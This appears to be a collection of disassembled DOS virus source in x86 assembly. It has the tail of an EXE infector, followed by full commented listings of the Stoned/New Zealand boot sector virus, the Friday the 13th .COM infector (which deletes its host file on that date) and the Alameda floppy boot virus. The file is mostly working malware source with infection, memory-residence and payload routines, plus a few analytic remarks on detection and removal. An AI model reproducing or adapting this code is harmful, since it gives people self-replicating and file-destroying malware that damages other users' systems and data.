NOW = FILE SIZE + ; + ADD AX,0FH ;MAKE SURE FILE SIZE IS PARA. BOUND + ADC DX,0 ; + AND AX,0FFF0H ; + MOV [HOST_SIZE],AX ;SAVE POINTER TO BEGINNING OF VIRUS + MOV [HOST_SIZE+2],DX ; + ; + ADD AX,710H ;(SIZE OF VIRUS) + ADC DX,0 ; +L053C: JC L0578 ;IF > FFFFFFFF...JMP + DIV Word ptr [BLOCK_SIZE] ; + OR DX,DX ; + JE L0547 ; + INC AX ; +L0547: MOV [EXE_HDR+4],AX ; + MOV [EXE_HDR+2],DX ; + ;---------------; + MOV AX,[HOST_SIZE] ;DX:AX = HOST SIZE + MOV DX,[HOST_SIZE+2] ; + DIV Word ptr [A007A] ; + SUB AX,[EXE_HEAD+8] ;SIZE OF EXE HDR + MOV [EXE_HDR+22],AX ;VALUE OF CS + MOV Word ptr [EXE_HDR+20],offset BEGIN_EXE ;VALUE OF IP + MOV [EXE_HDR+14],AX ;VALUE OF SS + MOV Word ptr [EXE_HDR+16],710H ;VALUE OF SP + ;---------------; + XOR CX,CX ;POINT TO BEGINNING OF FILE (EXE HDR) + MOV DX,CX ; + MOV AX,4200H ; + INT 21H ;MOVE FILE POINTER +L0578: JC L0584 ; + ; +;---------------------------------------; +; WRITE INFECTED EXE HEADER ; +;---------------------------------------; + MOV CX,1CH ; + MOV DX,offset EXE_HDR ; + MOV AH,40H ; + INT 21H ;WRITE TO A FILE +L0584: JC L0597 ; + CMP AX,CX ; + JNE L05A2 ; + ; + MOV DX,[HOST_SIZE] ;POINT TO END OF FILE + MOV CX,[HOST_SIZE+2] ; + MOV AX,4200 ; + INT 21H ;MOVE FILE POINTER +L0597: JC L05A2 ; + ; +;---------------------------------------; +; WRITE VIRUS CODE TO END OF HOST ; +;---------------------------------------; + XOR DX,DX ; + MOV CX,710H ;(SIZE OF VIRUS) + MOV AH,40H ; + INT 21H ;WRITE TO A FILE + ; +L05A2: CMP Word ptr CS:[008F],0 ;IF... + JZ L05AE ;...SKIP + MOV AH,49H ; + INT 21H ;FREE ALLOCATED MEMORY + ; +L05AE: CMP Word ptr CS:[HANDLE],-1 ;IF ... + JE I_90 ;...SKIP + ; + MOV BX,CS:[HANDLE] ;RESTORE HOST'S DATE/TIME + MOV DX,CS:[HOST_DATE] ; + MOV CX,CS:[HOST_TIME] ; + MOV AX,5701H ; + INT 21H ;GET/SET FILE DATE/TIME + ; + MOV AH,3EH ; + INT 21H ;CLOSE FILE + ; + LDS DX,CS:[HOST_NAME] ;RESTORE HOST'S ATTRIBUTE + MOV CX,CS:[HOST_ATT] ; + MOV AX,4301H ; + INT 21H ;CHANGE FILE MODE + ; + LDS DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER + MOV AX,2524H ; + INT 21H ;SET VECTOR + ; +I_90: POP ES ; + POP DS ; + POP DI ; + POP SI ; + POP DX ; + POP CX ; + POP BX ; + POP AX ; + POPF ; (OUR PUSHF) + JMP far CS:[OLD_21] ;PASS CONTROL TO DOS + ; +;-----------------------------------------------------------------------; +; ; +;----------------------------------------------------------------------- + +************************************************************************ +------------------------------------------------------------------------ +------------------------------------------------------------------------ +************************************************************************ + +The "New Zealand Virus". +Also called - Stoned, Marijuana, San Diego Virus, Smithsonian Virus + + +CODE SEGMENT + + ASSUME CS:CODE + +WORK_SPACE EQU 512 +MAXIMUM_SIZE EQU 1BEH + +VIRUS PROC NEAR + + DB 0EAH ;JMP 07C0:0005 + DW 5,7C0H + JMP INSTALL + +; DRIVE_LETTER INDICATES BOOT DISK, 0 = A:, 2 = C: + +DRIVE_LETTER DB 0 + +OLD_13 LABEL DWORD +OFFS DW ? +SEGM DW ? + +NEW_ADDRESS LABEL DWORD + DW CONTINUE +NEW_SEGMENT DW 0 + +REBOOT LABEL DWORD + DW 7C00H,0 + +NEW_13: + PUSH DS + PUSH AX + CMP AH,2 + JC SPINNING + CMP AH,4 + JNC SPINNING + OR DL,DL ; IS IT DRIVE A:? + JNZ SPINNING ; JUMP IF NOT + XOR AX,AX + MOV DS,AX + MOV AL,DS:43FH ; IS DRIVE MOTOR SPINNING? + TEST AL,1 ; IF YES THEN JUMP + JNZ SPINNING + + +; INT13 REQUEST IS FOR READ OR WRITE TO A: - MOTOR NOT YET STARTED. + + CALL INFECT ; NOT SPINNING - INFECT +SPINNING: + POP AX + POP DS + JMP CS:[OLD_13] + +INFECT: + PUSH BX ; SAVE REGISTERS + PUSH CX + PUSH DX + PUSH ES + PUSH SI + PUSH DI + MOV SI,4 ; MAKE FOUR ATTEMPTS +GET_BOOT_SECTOR: + MOV AX,201H ; READ SECTOR + PUSH CS + POP ES + MOV BX,OFFSET WORK_SPACE + XOR CX,CX ; TRACK 0, SECTOR 0 + MOV DX,CX ; HEAD 0, DRIVE 0 + INC CX + PUSHF + CALL CS:[OLD_13] + JNC BOOT_IS_DONE ; READ OK. + XOR AX,AX ; DRIVE RESET + PUSHF + CALL CS:[OLD_13] + DEC SI ; COUNT NUMBER OF TRIES + JNZ GET_BOOT_SECTOR ; LOOP + JMP FINISH +BOOT_IS_DONE: + XOR SI,SI ; CODE SEGMENT START + MOV DI,OFFSET WORK_SPACE ; POINTER TO BOOT SECTOR + CLD + PUSH CS + POP DS + LODSW + CMP AX,DS:[DI] ; OURS? + JNZ CREATE_BOOT ; NO, CREATE BOOT + LODSW ; RETRY + CMP AX,DS:[DI+2] ; OURS? + JZ FINISH ; NO, FINISH UP +CREATE_BOOT: + MOV AX,301H ; WRITE ORIGINAL BOOT SECTOR FROM BUFFER + MOV BX,OFFSET WORK_SPACE + MOV CL,3 + MOV DH,1 + + PUSHF + CALL CS:[OLD_13] ; WRITE + JC FINISH + MOV AX,301H + XOR BX,BX + MOV CL,01 + XOR DX,DX + PUSHF + CALL CS:[OLD_13] +FINISH: + POP DI ; RESTORE REGISTERS + POP SI + POP ES + POP DX + POP CX + POP BX + RET + +INSTALL: + XOR AX,AX + MOV DS,AX + CLI + MOV SS,AX + MOV SP,7C00H + STI ; ENABLE INTERRUPTS + MOV AX,DS:4CH ; SAVE OLD 13H + MOV DS:[OFFS+7C00H],AX + MOV AX,DS:4EH + MOV DS:[SEGM+7C00H],AX + MOV AX,DS:413H ; MEMORY AVAILABLE + DEC AX + DEC AX + MOV DS:413H,AX + MOV CL,6 + SHL AX,CL + MOV ES,AX ; ES: = FREE MEMORY ADDRESS + MOV DS:[NEW_SEGMENT+7C00H],AX ; PUT IT INTO NEW JUMP VECTOR + + MOV AX,OFFSET NEW_13 ; INSTALL NEW VIRUS VECTOR + MOV DS:4CH,AX + MOV DS:4EH,ES + + MOV CX,OFFSET ENDOFPROGMEM + PUSH CS + POP DS ; DS POINTS TO OUR CODE SEGMENT + XOR SI,SI ; SI POINTS TO 0 + MOV DI,SI ; DI POINTS TO 0 + CLD ; SET DIRECTION FLAG TO INCREMENT + REP MOVSB ; MOVE OURSELVES INTO HIGH MEMORY! + JMP NEW_ADDRESS ; THIS JUMP TRANSFERS TO CONTINUE BUT IN HIGH MEM + + +; THE FOLLOWING CODE IS EXECUTED AFTER BEING MOVED TO HIGH MEMORY +; EXECUTION IS VIA THE JUMP TO NEW_ADDRESS + +CONTINUE: + MOV AX,0 ; RESET DISK SYSTEM + INT 13H ; THIS IS THE INFECTED INT 13H + + XOR AX,AX ; READ REAL BOOT SECTOR + MOV ES,AX + MOV AX,201H + MOV BX,7C00H ; INTO THE BOOT AREA OF RAM + CMP DRIVE_LETTER,0 + JZ BOOT_A +BOOT_C: + MOV CX,0002H ; FROM SECTOR 2 TRACK 0 HEAD 0 FOR FIRST HD + MOV DX,0080H + INT 13H + JMP QUITPROG +BOOT_A: + MOV CX,0003H ; FROM SECTOR 3 TRACK 0 HEAD 1 FOR DRIVE A: + MOV DX,0100H + INT 13H + JC QUITPROG ; FAILED READ! + + TEST BYTE PTR ES:46CH,7 ; CHECK SYSTEM CLOCK LAST 3 BITS + JNZ NOMESSAGE + MOV SI,OFFSET MESSAGE ; DS IS POINTING TO 7C0:000 WHICH + PUSH CS + POP DS +MSGLOOP: + LODSB ; ALSO HAS THE TEXT + OR AL,AL + JZ NOMESSAGE + MOV AH,14 + MOV BH,0 + INT 10H + JMP MSGLOOP + +NOMESSAGE: + PUSH CS + POP ES + MOV AX,201H + MOV BX,OFFSET WORK_SPACE ; READ BOOT SECTOR FROM HARD DISK + MOV CL,1 + MOV DX,0080H + INT 13H + JC QUITPROG ; BAD READ - SO JUMP + PUSH CS + POP DS + MOV SI,OFFSET WORK_SPACE ; SOURCE IS THE BOOT SECTOR + MOV DI,0 ; DESTINATION IS OUR OWN CODE + LODSW ; MOV AX,DS:[SI] + ; ADD SI,2 + CMP AX,DS:[DI] ; VIRUS? + JNZ SAVEBOOT ; JUMP IF NOT + LODSW ; MOV AX,DS:[SI] + ; ADD SI,2 + CMP AX,DS:[DI+2] ; HAS IT GOT A VIRUS? + JNZ SAVEBOOT +QUITPROG: + MOV DRIVE_LETTER,0 ; YES - SO BOOT DRIVE 0 FOR A> + JMP REBOOT ; THIS JUMPS TO 0:7C00H TO CONTINUE BOOT CODE + +SAVEBOOT: + MOV DRIVE_LETTER,2 ; DRIVE 2 FOR C> + MOV AX,301H ; GONNA WRITE + MOV BX,OFFSET WORK_SPACE ; OLD BOOT SECTOR + MOV CX,0007H ; TO SECTOR 7 + MOV DX,0080H ; OF DRIVE C> + INT 13H + JC QUITPROG + PUSH CS + POP DS + PUSH CS + POP ES + MOV SI,OFFSET WORK_SPACE+MAXIMUM_SIZE + MOV DI,MAXIMUM_SIZE + MOV CX,400H-MAXIMUM_SIZE + REP MOVSB ; SI -> DI AND INC BOTH CX TIMES + MOV AX,301H ; GONNA WRITE BOOT SECTOR + XOR BX,BX ; FROM TOP OF OUR CODE + INC CL ; SECTOR 1 +; MOV DX,0080H ;<-- DX IS LEFT OVER FROM ABOVE + INT 13H ; DO IT + JMP QUITPROG + +MESSAGE: + DB 7,'Your PC is now Stoned!',7,13,10,10,0 + DB 'LEGALISE MARIJUANA!' ; This bit doesn't display! +ENDOFPROGMEM: + +VIRUS ENDP + +CODE ENDS + END VIRUS + + +***************************************************************** +----------------------------------------------------------------- +----------------------------------------------------------------- +***************************************************************** + +The original 'Friday the 13th" +Also called - Munich Virus, Miami Virus + + + + +;-----------------------------------------------------------------------; +; THE METHOD OF INFECTION: ; +; SAVE FIRST 3 BYTES OF HOST TO SAVE AREA INSIDE OF VIRIUL SHELL ; +; APPEND VIRIUL SHELL TO END OF .COM FILE (ON A PARAGRAPH BOUNDARY!) ; +;-----------------------------------------------------------------------; +; ATTENTION! ; +; RESULTING FILE APPARENTLY MUST BE < 64K ; +; REMEMBER THE STACK IS AT THE TOP OF THE 64K FILE! WHERE SHELL RESIDES ; +; STACK MUST HAVE ROOM FOR VIRUS USE ; +;-----------------------------------------------------------------------; +CODE SEGMENT PUBLIC 'CODE' ; + ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE + ; + ORG 100H ;SAME A .COM FILE FOR NOW + ; + PUBLIC HOST_SIZE ;; + ; +;-----------------------------------------------------------------------; +; JUMP AROUND VIRUS DATA AREA ; +;-----------------------------------------------------------------------; +BEGIN: JMP CONTINUE ; + ; +;-----------------------------------------------------------------------; +; SHELL DATA AREA APPARENTLY FOLLOWS ; +;-----------------------------------------------------------------------; +HOST_3 DB ?,?,? ;FIRST 3 BYTES OF HOST +ID DB 'INFECTED',0 ;FYI ALREADY INFECTED ID + ; +NEW_3 DB 0E9H ;TO REPLACE FIRST 3 BYTES OF HOST +OUR_BEGIN DW ? ; + ; +HOST_TYPE DB '*.COM',0 ;TYPE OF FILES TO INFECT + ; +DTA DB 21 DUP (?) ;USED BY DOS + DB ? ;FILE ATTRIBUTE + DW ? ;FILES TIME + DW ? ;FILES DATE +HOST_SIZE DW ? ;FILE SIZE + DW ? ;FILE SIZE +HOST_NAME DB 13 DUP (?) ;FILE NAME + ; +COMMAND_COM DB 'COMMAND.COM',0 ; +COMMAND_LENGTH EQU $ - offset COMMAND_COM + ; +;-----------------------------------------------------------------------; +; SAVE INCOMMING ENVIRONMENT AND SETUP WORKING ENVIRONMENT ; +;-----------------------------------------------------------------------; +CONTINUE: ; + PUSH CS ;SAVE HOST SEGMENT + PUSH AX ;SAVE SPACE FOR HOST offset + ; + PUSH AX ;SAVE INCOMMING REGs + PUSH BX ; + PUSH CX ; + PUSH DX ; + PUSH SI ; + PUSH DI ; + PUSH BP ; + PUSH DS ;! NOT ES ! + ; + MOV BP,SP ;SAVE HOST offset (IN STACK) + MOV word ptr [BP+16],100H ; (FOR LATER RETF TO HOST) + ; + CALL DUMMY ;MOV AX,IP +DUMMY: POP AX ; + SUB AX,(offset DUMMY - offset BEGIN) + ; + MOV CL,4 ;PASS CONTROL TO OURSELF WITH IP=100H + SHR AX,CL ; + MOV BX,CS ; + ADD AX,BX ; + SUB AX,10H ; + PUSH AX ;(OUR MODIFIED CS) + MOV AX,offset IN_CONTROL ;(OUR IP) + PUSH AX ; + RETF ; + ; +;-----------------------------------------------------------------------; +;-----------------------------------------------------------------------; +IN_CONTROL: ; + MOV AX,CS ;(INIT DS) + MOV DS,AX ; + ; + CALL REPLICATE ; + CALL DO_STUFF ;DO STUFF HERE + ; + JMP ALL_DONE ;PASS CONTROL TO HOST + ; +;-----------------------------------------------------------------------; +; REPRODUCE ; +;-----------------------------------------------------------------------; +REPLICATE: ; + PUSH ES ; + ; + PUSH DS ; + POP ES ; + ; + MOV AH,1AH ;SET DTA + MOV DX,OFFSET DTA ; + INT 21H ; + ; + MOV AH,4EH ;FIND FIRST + XOR CX,CX ; + MOV DX,OFFSET HOST_TYPE ; + INT 21H ; + JC R_90 ; + ; +R_10: CALL ATTACH ;INFECT FOUND FILE + ; + MOV AH,4FH ;FIND NEXT + INT 21H ; + JNC R_10 ;UNTIL NO MORE FOUND + ; +R_90: POP AX ; + PUSH AX ; + ; + PUSH DS ; + MOV DS,AX ; + MOV AH,1AH ;RESTORE DTA + MOV DX,0080H ; + INT 21H ; + POP DS ; + ; + POP ES ; + RET ; + ; +;-----------------------------------------------------------------------; +;-----------------------------------------------------------------------; +ATTACH: PUSH ES ;IF 'COMMAND.COM' ATTEMPTED... + MOV AX,DS ; + MOV ES,AX ; + MOV SI,offset HOST_NAME ; + MOV DI,offset COMMAND_COM ; + MOV CX,COMMAND_LENGTH ; + CLD ; + REPE CMPSB ; + POP ES ; + JNE A_01 ; + JMP A_99 ;...DONT INFECT IT + ; +A_01: MOV AX,3D02H ;OPEN R/W + MOV DX,offset HOST_NAME ;ie. '\COMMAND.COM' + INT 21H ; + JNC A_03 ; + JMP A_90 ; + ; +A_03: MOV BX,AX ;BX=HANDLE + ; + PUSH word ptr [HOST_3] ;SAVE + PUSH word ptr [HOST_3+2] ;SAVE + ; + MOV AH,3FH ;READ FIRST 3 BYTES + MOV CX,3 ; + MOV DX,offset HOST_3 ; + INT 21H ; + JC A_80 ; + ; + MOV AL,[NEW_3] ;IF ALREADY INFECTED... + CMP [HOST_3],AL ; (YOU CAN TELL BY THE JUMP INSTRUCTION + JNE A_05 ; AND BY THE SIZE OF THE JUMP) + MOV AX,[HOST_SIZE] ; + SUB AX,(offset OUR_END - offset BEGIN) + SUB AX,3 ; + CMP word ptr [HOST_3+1],AX ; + JE A_85 ;...DONT INFECT AGAIN + ; +A_05: MOV AX,4202H ;POINT TO THE END + XOR CX,CX ; + XOR DX,DX ; + INT 21H ; + JC A_80 ; + ; + OR AX,0FH ;ROUND UP TO NEXT PARAGRAPH + INC AX ; + SUB AX,3 ;(TAKE INTO ACOUNT JMP INSTRUCTION SIZ) + MOV [OUR_BEGIN],AX ; + ; + MOV AX,4200H ;POINT TO FIRST 3 BYTES + XOR CX,CX ; + XOR DX,DX ; + INT 21H ; + JC A_80 ; + ; + MOV AH,40H ;WRITE NEW 3 BYTES + MOV CX,3 ; + MOV DX,offset NEW_3 ; + INT 21H ; + JC A_80 ; + ; +;REMEMBER, WERE ALREADY POINTING PAST THE FIRST 3 BYTES! + MOV AX,4201H ;POINT TO END (ROUNDED UP TO PARA) + XOR CX,CX ; + MOV DX,[OUR_BEGIN] ; + INT 21H ; + JC A_80 ; + ; + MOV AH,40H ;APPEND VIRUS TO END OF FILE + MOV CX,(offset OUR_END - offset BEGIN) + MOV DX,offset BEGIN ; + INT 21H ; + JC A_80 ; + ; + JMP A_85 ;CLOSE AND RETURN + ; +A_80: ;CALL BEEP ; + ; +A_85: POP word ptr [HOST_3+2] ;SAVE + POP word ptr [HOST_3] ;SAVE + ; + MOV AH,3EH ;CLOSE FILE + INT 21H ; + ; +A_90: JNC A_99 ; + ;CALL BEEP ; +A_99: RET ; + ; +;-----------------------------------------------------------------------; +; DO STUFF ; +;-----------------------------------------------------------------------; +DO_STUFF: ; + PUSH ES ; + ; + MOV AH,2AH ;GET DATE + INT 21H ; + ; + CMP DL,13 ;IF FRIDAY THE 13th... + JNE DS_90 ; + CMP AL,5 ; + JNE DS_90 ; + ; + XOR AX,AX ;FIND OUT INFECTED NAME + MOV CX,32767 ; + XOR DI,DI ; + MOV ES,ES:[002CH] ; + CLD ; + REPNE SCASW ; + JNE DS_90 ; + ADD DI,2 ;SKIP '01 00' + ; + PUSH DS ;DELETE SELF + PUSH ES ; + POP DS ; + MOV AH,41H ; + MOV DX,DI ; + INT 21H ; + POP DS ; + ; +DS_90: POP ES ; + RET ; + ; +;-----------------------------------------------------------------------; +; PASS CONTROL TO THE HOST PROGRAM ; +;-----------------------------------------------------------------------; +ALL_DONE: ; + MOV AX,word ptr [HOST_3] ;RESTORE HOSTS FIRST 3 BYTES + MOV ES:[100H],AX ; + MOV AL,[HOST_3+2] ; + MOV ES:[102H],AL ; + ; + POP DS ;! NOT ES ! + POP BP ; + POP DI ; + POP SI ; + POP DX ; + POP CX ; + POP BX ; + POP AX ; + ; + RETF ; + ; +OUR_END LABEL BYTE ; + ; +CODE ENDS ; + END BEGIN ; + + + + + +******************************************************************** +----------------------------------------------------------------- +----------------------------------------------------------------- +******************************************************************** + +The "Alameda Virus". +Also Called - Merritt Virus, Yale Virus, Peking Virus, Seoul Virus + + + + PAGE 64,132 +;-----------------------------------------------------------------------; +; This virus is of the "FLOPPY ONLY" variety. ; +; It replicates to the boot sector of a floppy disk and when it gains control + + +; it will move itself to upper memory. It redirects the keyboard ; +; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ; +; it will attempt to infect any floppy it finds in drive A:. ; +; It keeps the real boot sector at track 39, sector 8, head 0 ; +; It does not map this sector bad in the fat (unlike the Pakistani Brain) +; and should that area be used by a file, the virus ; +; will die. It also contains no anti detection mechanisms as does the ; +; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ; +; sector 9 because this is common to all floppy formats both single ; +; sided and double sided. It does not contain any malevolent TROJAN ; +; HORSE code. It does appear to contain a count of how many times it ; +; has infected other diskettes although this is harmless and the count ; +; is never accessed. ; +; ; +; Things to note about this virus: ; +; It can not only live through an ALT-CTRL-DEL reboot command, but this ; +; is its primary (only for that matter) means of reproduction to other ; +; floppy diskettes. The only way to remove it from an infected system ; +; is to turn the machine off and reboot an uninfected copy of DOS. ; +; It is even resident when no floppy is booted but BASIC is loaded ; +; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ; +; it activates and infectes the floppy from which the user is ; +; attempting to boot. ; +; ; +; Also note that because of the POP CS command to pass control to ; +; its self in upper memory, this virus does not to work on 80286 ; +; machines (because this is not a valid 80286 instruction). ; +; ; +; The Norton utilities can be used to identify infected diskettes by ; +; looking at the boot sector and the DOS SYS utility can be used to ; +; remove it (unlike the Brain). ; +;-----------------------------------------------------------------------; + ; + ORG 7C00H ; + ; +TOS LABEL WORD ;TOP OF STACK +;-----------------------------------------------------------------------; +; 1. Find top of memory and copy ourself up there. (keeping same offset); +; 2. Save a copy of the first 32 interrupt vectors to top of memory too ; +; 3. Redirect int 9 (keyboard) to ourself in top of memory ; +; 4. Jump to ourself at top of memory ; +; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ; +;-----------------------------------------------------------------------; +BEGIN: CLI ;INITIALIZE STACK + XOR AX,AX ; + MOV SS,AX ; + MOV SP,offset TOS ; + STI ; + ; + MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512) + MOV DS,BX ; + MOV AX,[0013H] ; + MUL BX ; + SUB AX,07E0H ; (7C00H+512)/16 + MOV ES,AX ; + ; + PUSH CS ;DS = CS + POP DS ; + ; + CMP DI,3456H ;IF THE VIRUS IS REBOOTING... + JNE B_10 ; + DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1-- + ; +B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY + MOV DI,SI ; + MOV CX,512 ; + CLD ; + REP MOVSB ; + ; + MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO + MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE + MOV CX,128 ; + REP MOVSB ; + ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + ; + PUSH ES ;ES=HI ;JUMP TO OUR HI CODE WITH + POP CS ; CS = ES + ; + PUSH DS ;DS=0 ;ES = DS + POP ES ; + ; + MOV BX,SP ;SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00 + MOV DX,CX ;CX=0 ; DRIVE A: HEAD 0 + MOV CX,2708H ; TRACK 40, SECTOR 8 + MOV AX,0201H ; READ SECTOR + INT 13H ; (common to 8/9 sect. 1/2 sided!) + JB $ ; HANG IF ERROR + ; + JMP JMP_BOOT ;JMP 0000:7C00 + ; +;-----------------------------------------------------------------------; +; SAVE THEN REDIRECT INT 9 VECTOR ; +; ; +; ON ENTRY: DS = 0 ; +; ES = WHERE TO SAVE OLD_09 & (HI) ; +; WHERE NEW_09 IS (HI) ; +;-----------------------------------------------------------------------; +PUT_NEW_09: ; + DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024 + ; + MOV SI,9*4 ;COPY INT 9 VECTOR TO + MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!) + MOV CX,0004 ; + ; + CLI ; + REP MOVSB ; + MOV Word Ptr [9*4],offset NEW_09 + MOV [(9*4)+2],ES ; + STI ; + ; + RET ; + ; +;-----------------------------------------------------------------------; +; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ; +;-----------------------------------------------------------------------; +ACK_KEYBD: ; + IN AL,61H ;RESET KEYBOARD THEN CONTINUE + MOV AH,AL ; + OR AL,80H ; + OUT 61H,AL ; + XCHG AL,AH ; + OUT 61H,AL ; + JMP RBOOT ; + ; +;-----------------------------------------------------------------------; +; DATA AREA WHICH IS NOT USED IN THIS VERSION ; +; REASON UNKNOWN ; +;-----------------------------------------------------------------------; +TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39 + DB 27H,0,2,2 ; (CURRENTLY NOT USED) + DB 27H,0,3,2 ; + DB 27H,0,4,2 ; + DB 27H,0,5,2 ; + DB 27H,0,6,2 ; + DB 27H,0,7,2 ; + DB 27H,0,8,2 ; + ; +;A7C9A LABEL BYTE ; + DW 00024H ;NOT USED + DB 0ADH ; + DB 07CH ; + DB 0A3H ; + DW 00026H ; + ; +;L7CA1: ; + POP CX ;NOT USED + POP DI ; + POP SI ; + POP ES ; + POP DS ; + POP AX ; + POPF ; + JMP 1111:1111 ; + ; +;-----------------------------------------------------------------------; +; IF ALT & CTRL & DEL THEN ... ; +; IF ALT & CTRL & ? THEN ... ; +;-----------------------------------------------------------------------; +NEW_09: PUSHF ; + STI ; + ; + PUSH AX ; + PUSH BX ; + PUSH DS ; + ; + PUSH CS ;DS=CS + POP DS ; + ; + MOV BX,[ALT_CTRL] ;BX=SCAN CODE LAST TIME + IN AL,60H ;GET SCAN CODE + MOV AH,AL ;SAVE IN AH + AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH + ; + CMP AL,1DH ;IS IT A [CTRL]... + JNE N09_10 ;...JUMP IF NO + MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP) + JMP N09_30 ; + ; +N09_10: CMP AL,38H ;IS IT AN [ALT]... + JNE N09_20 ;...JUMP IF NO + MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP) + JMP N09_30 ; + ; +N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)... + JNE N09_30 ;...JUMP IF NO + ; + CMP AL,17H ;IF [I]... + JE N09_X0 ;...JUMP IF YES + CMP AL,53H ;IF [DEL]... + JE ACK_KEYBD ;...JUMP IF YES + ; +N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME + ; +N09_90: POP DS ; + POP BX ; + POP AX ; + POPF ; + ; + DB 0EAH ;JMP F000:E987 +OLD_09 DW ? ; + DW 0F000H ; + ; +N09_X0: JMP N09_X1 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!? + MOV AX,0800H ;AL=0, AH=DELAY ARG + OUT DX,AL ; + CALL DELAY ; + MOV [ALT_CTRL],AX ;AX=0 ; + ; + MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR + INT 10H ; + MOV AH,2 ;SET CURSOR POS 0,0 + XOR DX,DX ; + MOV BH,DH ; PAGE 0 + INT 10H ; + ; + MOV AH,1 ;SET CURSOR TYPE + MOV CX,0607H ; + INT 10H ; + ; + MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW) + CALL DELAY ; + ; + CLI ; + OUT 20H,AL ;SEND EOI TO INT CONTROLLER + ; + MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS + MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!) + MOV SI,offset BEGIN - 128 ; + MOV CX,128 ; + CLD ; + REP MOVSB ; + ; + MOV DS,CX ;CX=0 ;DS=0 + ; + MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR + MOV [(19H*4)+2],CS ; + ; + MOV AX,0040H ;DS = ROM DATA AREA + MOV DS,AX ; + ; + MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0 + INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE) + ; + PUSH DS ;IF BIOS F000:E502 == 21E4... + MOV AX,0F000H ; + MOV DS,AX ; + CMP Word Ptr [0E502H],21E4H ; + POP DS ; + JE R_90 ; + INT 19H ; IF NOT...REBOOT + ; +R_90: JMP 0F000:0E502H ;...DO IT ?!?!?! + ; +;-----------------------------------------------------------------------; +; REBOOT INT VECTOR ; +;-----------------------------------------------------------------------; +NEW_19: XOR AX,AX ; + ; + MOV DS,AX ;DS=0 + MOV AX,[0410] ;AX=EQUIP FLAG + TEST AL,1 ;IF FLOPPY DRIVES ... + JNZ N19_20 ;...JUMP +N19_10: PUSH CS ;ELSE ES=CS + POP ES ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + INT 18H ;LOAD BASIC + ; +N19_20: MOV CX,0004 ;RETRY COUNT = 4 + ; +N19_22: PUSH CX ; + MOV AH,00 ;RESET DISK + INT 13 ; + JB N19_81 ; + MOV AX,0201 ;READ BOOT SECTOR + PUSH DS ; + POP ES ; + MOV BX,offset BEGIN ; + MOV CX,1 ;TRACK 0, SECTOR 1 + INT 13H ; +N19_81: POP CX ; + JNB N19_90 ; + LOOP N19_22 ; + JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +N19_90: CMP DI,3456 ;IF NOT FLAG SET... + JNZ RE_INFECT ;...RE INFECT + ; +JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR + JMP 0000:7C00H ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +RE_INFECT: ; + MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH + MOV CX,00E6H ; OURSELF + MOV DI,SI ; + PUSH CS ; + POP ES ; + CLD ; + REPE CMPSB ; + JE RI_12 ;IF NOT EQUAL... + ; + INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!) + ; +;MAKE SURE TRACK 39, HEAD 0 FORMATTED ; + MOV BX,offset TABLE ;FORMAT INFO + MOV DX,0000 ;DRIVE A: HEAD 0 + MOV CH,40-1 ;TRACK 39 + MOV AH,5 ;FORMAT + JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW ! + ; +; <<< NO EXECUTION PATH TO HERE >>> ; + JB RI_80 ; + ; +;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0 +RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0 + MOV BX,offset BEGIN ;TRACK 40H + MOV CL,8 ;SECTOR 8 + MOV AX,0301H ;WRITE 1 SECTOR + INT 13H ; + ; + PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW) + POP ES ; + JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE + ; + MOV CX,0001 ;WRITE INFECTED BOOT SECTOR ! + MOV AX,0301 ; + INT 13H ; + JB RI_80 ; IF ERROR...JUMP TO BOOT CODE + ; +RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"... + INT 19H ;...FLAG AND REBOOT + ; +RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT) + JMP JMP_BOOT ; + ; +;-----------------------------------------------------------------------; +; ; 